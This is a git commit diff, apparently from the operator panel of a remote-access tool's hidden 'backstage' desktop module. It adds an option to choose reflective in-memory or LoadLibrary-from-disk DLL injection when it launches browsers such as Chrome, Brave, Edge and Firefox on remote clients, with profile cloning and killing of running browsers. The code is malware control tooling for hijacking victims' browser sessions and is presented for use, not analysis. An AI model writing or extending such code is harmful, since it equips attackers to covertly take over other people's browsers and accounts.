add option for on disk.

This commit is contained in:
KingKDot
2026-08-19 11:59:58 -05:00
parent 9e0a7b653d
commit bcc8e89495
7 changed files with 220 additions and 35 deletions
+23 -11
View File
@@ -202,6 +202,13 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./generated/s
if (killIfRunningToggle && typeof settings.killIfRunning === "boolean") {
killIfRunningToggle.checked = settings.killIfRunning;
}
const injectionMethodSelect = document.getElementById("backstageInjectionMethod");
if (injectionMethodSelect && typeof settings.injectionMethod === "string") {
const allowed = ["reflective", "loadlibrary"];
if (allowed.includes(settings.injectionMethod)) {
setSelectValue(injectionMethodSelect, settings.injectionMethod);
}
}
applySavedDisplay();
}
@@ -222,9 +229,14 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./generated/s
cloneProfile: document.getElementById("backstageCloneToggle")?.checked !== false,
cloneLite: document.getElementById("backstageCloneLiteToggle")?.checked === true,
killIfRunning: document.getElementById("backstageKillIfRunningToggle")?.checked === true,
injectionMethod: readInjectionMethod(),
};
}
function readInjectionMethod() {
return document.getElementById("backstageInjectionMethod")?.value || "reflective";
}
applySharedSettings(await loadSharedUiSettings("backstage"));
// Interactive input is intentionally session-scoped: opening any client's
// page must require the operator to opt in again, regardless of saved UI
@@ -1830,7 +1842,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./generated/s
});
}
["backstageCloneToggle", "backstageCloneLiteToggle", "backstageKillIfRunningToggle"].forEach((id) => {
["backstageCloneToggle", "backstageCloneLiteToggle", "backstageKillIfRunningToggle", "backstageInjectionMethod"].forEach((id) => {
const el = document.getElementById(id);
if (el) {
el.addEventListener("change", function () {
@@ -1851,52 +1863,52 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./generated/s
const clone = document.getElementById("backstageCloneToggle")?.checked !== false;
const cloneLite = document.getElementById("backstageCloneLiteToggle")?.checked === true;
const killIfRunning = document.getElementById("backstageKillIfRunningToggle")?.checked !== false;
sendCmd("backstage_start_browser_injected", { browser: "chrome", clone, cloneLite, killIfRunning });
sendCmd("backstage_start_browser_injected", { browser: "chrome", clone, cloneLite, killIfRunning, injectionMethod: readInjectionMethod() });
} else if (action === "start-brave") {
const clone = document.getElementById("backstageCloneToggle")?.checked !== false;
const cloneLite = document.getElementById("backstageCloneLiteToggle")?.checked === true;
const killIfRunning = document.getElementById("backstageKillIfRunningToggle")?.checked !== false;
sendCmd("backstage_start_browser_injected", { browser: "brave", clone, cloneLite, killIfRunning });
sendCmd("backstage_start_browser_injected", { browser: "brave", clone, cloneLite, killIfRunning, injectionMethod: readInjectionMethod() });
} else if (action === "start-edge") {
const clone = document.getElementById("backstageCloneToggle")?.checked !== false;
const cloneLite = document.getElementById("backstageCloneLiteToggle")?.checked === true;
const killIfRunning = document.getElementById("backstageKillIfRunningToggle")?.checked !== false;
sendCmd("backstage_start_browser_injected", { browser: "edge", clone, cloneLite, killIfRunning });
sendCmd("backstage_start_browser_injected", { browser: "edge", clone, cloneLite, killIfRunning, injectionMethod: readInjectionMethod() });
} else if (action === "start-firefox") {
const clone = document.getElementById("backstageCloneToggle")?.checked !== false;
const cloneLite = document.getElementById("backstageCloneLiteToggle")?.checked === true;
const killIfRunning = document.getElementById("backstageKillIfRunningToggle")?.checked !== false;
sendCmd("backstage_start_browser_injected", { browser: "firefox", clone, cloneLite, killIfRunning });
sendCmd("backstage_start_browser_injected", { browser: "firefox", clone, cloneLite, killIfRunning, injectionMethod: readInjectionMethod() });
} else if (action === "start-opera") {
const clone = document.getElementById("backstageCloneToggle")?.checked !== false;
const cloneLite = document.getElementById("backstageCloneLiteToggle")?.checked === true;
const killIfRunning = document.getElementById("backstageKillIfRunningToggle")?.checked !== false;
sendCmd("backstage_start_browser_injected", { browser: "opera", clone, cloneLite, killIfRunning });
sendCmd("backstage_start_browser_injected", { browser: "opera", clone, cloneLite, killIfRunning, injectionMethod: readInjectionMethod() });
} else if (action === "start-operagx") {
const clone = document.getElementById("backstageCloneToggle")?.checked !== false;
const cloneLite = document.getElementById("backstageCloneLiteToggle")?.checked === true;
const killIfRunning = document.getElementById("backstageKillIfRunningToggle")?.checked !== false;
sendCmd("backstage_start_browser_injected", { browser: "operagx", clone, cloneLite, killIfRunning });
sendCmd("backstage_start_browser_injected", { browser: "operagx", clone, cloneLite, killIfRunning, injectionMethod: readInjectionMethod() });
} else if (action === "start-vivaldi") {
const clone = document.getElementById("backstageCloneToggle")?.checked !== false;
const cloneLite = document.getElementById("backstageCloneLiteToggle")?.checked === true;
const killIfRunning = document.getElementById("backstageKillIfRunningToggle")?.checked !== false;
sendCmd("backstage_start_browser_injected", { browser: "vivaldi", clone, cloneLite, killIfRunning });
sendCmd("backstage_start_browser_injected", { browser: "vivaldi", clone, cloneLite, killIfRunning, injectionMethod: readInjectionMethod() });
} else if (action === "start-yandex") {
const clone = document.getElementById("backstageCloneToggle")?.checked !== false;
const cloneLite = document.getElementById("backstageCloneLiteToggle")?.checked === true;
const killIfRunning = document.getElementById("backstageKillIfRunningToggle")?.checked !== false;
sendCmd("backstage_start_browser_injected", { browser: "yandex", clone, cloneLite, killIfRunning });
sendCmd("backstage_start_browser_injected", { browser: "yandex", clone, cloneLite, killIfRunning, injectionMethod: readInjectionMethod() });
} else if (action === "start-waterfox") {
const clone = document.getElementById("backstageCloneToggle")?.checked !== false;
const cloneLite = document.getElementById("backstageCloneLiteToggle")?.checked === true;
const killIfRunning = document.getElementById("backstageKillIfRunningToggle")?.checked !== false;
sendCmd("backstage_start_browser_injected", { browser: "waterfox", clone, cloneLite, killIfRunning });
sendCmd("backstage_start_browser_injected", { browser: "waterfox", clone, cloneLite, killIfRunning, injectionMethod: readInjectionMethod() });
} else if (action === "start-arc") {
const clone = document.getElementById("backstageCloneToggle")?.checked !== false;
const cloneLite = document.getElementById("backstageCloneLiteToggle")?.checked === true;
const killIfRunning = document.getElementById("backstageKillIfRunningToggle")?.checked !== false;
sendCmd("backstage_start_browser_injected", { browser: "arc", clone, cloneLite, killIfRunning });
sendCmd("backstage_start_browser_injected", { browser: "arc", clone, cloneLite, killIfRunning, injectionMethod: readInjectionMethod() });
} else if (action === "start-custom") {
hideContextMenu();
showCustomExeModal();
+7
View File
@@ -264,6 +264,13 @@
<input type="checkbox" id="backstageKillIfRunningToggle" class="accent-violet-500 w-4 h-4 rounded" />
<span class="text-xs text-slate-300">Kill browser if running</span>
</label>
<label class="flex items-center justify-between gap-2 px-3 py-1.5 cursor-pointer hover:bg-slate-800/70 select-none">
<span class="text-xs text-slate-300">Injection method</span>
<select id="backstageInjectionMethod" class="bg-slate-800 border border-slate-700 rounded px-1.5 py-0.5 text-xs text-slate-200 focus:outline-none focus:border-violet-500">
<option value="reflective">Reflective (in-memory)</option>
<option value="loadlibrary">LoadLibrary (disk)</option>
</select>
</label>
<div class="my-1 border-t border-slate-700/60"></div>
<!-- Shells -->
<div class="px-3 pt-2 pb-1 text-xs uppercase tracking-wide text-slate-500">Shells</div>
@@ -1405,6 +1405,7 @@ export function handlebackstageViewerMessage(ws: ServerWebSocket<SocketData>, ra
replace_path: String(payload.replace_path || ""),
dll: dllData,
display: state.display ?? 0,
injectionMethod: String(payload.injectionMethod || ""),
};
sendbackstageCommand(target, "backstage_start_process_injected", cmdPayload);
break;
@@ -1420,6 +1421,7 @@ export function handlebackstageViewerMessage(ws: ServerWebSocket<SocketData>, ra
path: String(payload.path || ""),
dll: dllData,
display: state.display ?? 0,
injectionMethod: String(payload.injectionMethod || ""),
};
sendbackstageCommand(target, "backstage_start_chrome_injected", chromeCmdPayload);
break;
@@ -1439,6 +1441,7 @@ export function handlebackstageViewerMessage(ws: ServerWebSocket<SocketData>, ra
killIfRunning: payload.killIfRunning === true,
dll: dllData,
display: state.display ?? 0,
injectionMethod: String(payload.injectionMethod || ""),
};
sendbackstageCommand(target, "backstage_start_browser_injected", browserCmdPayload);
break;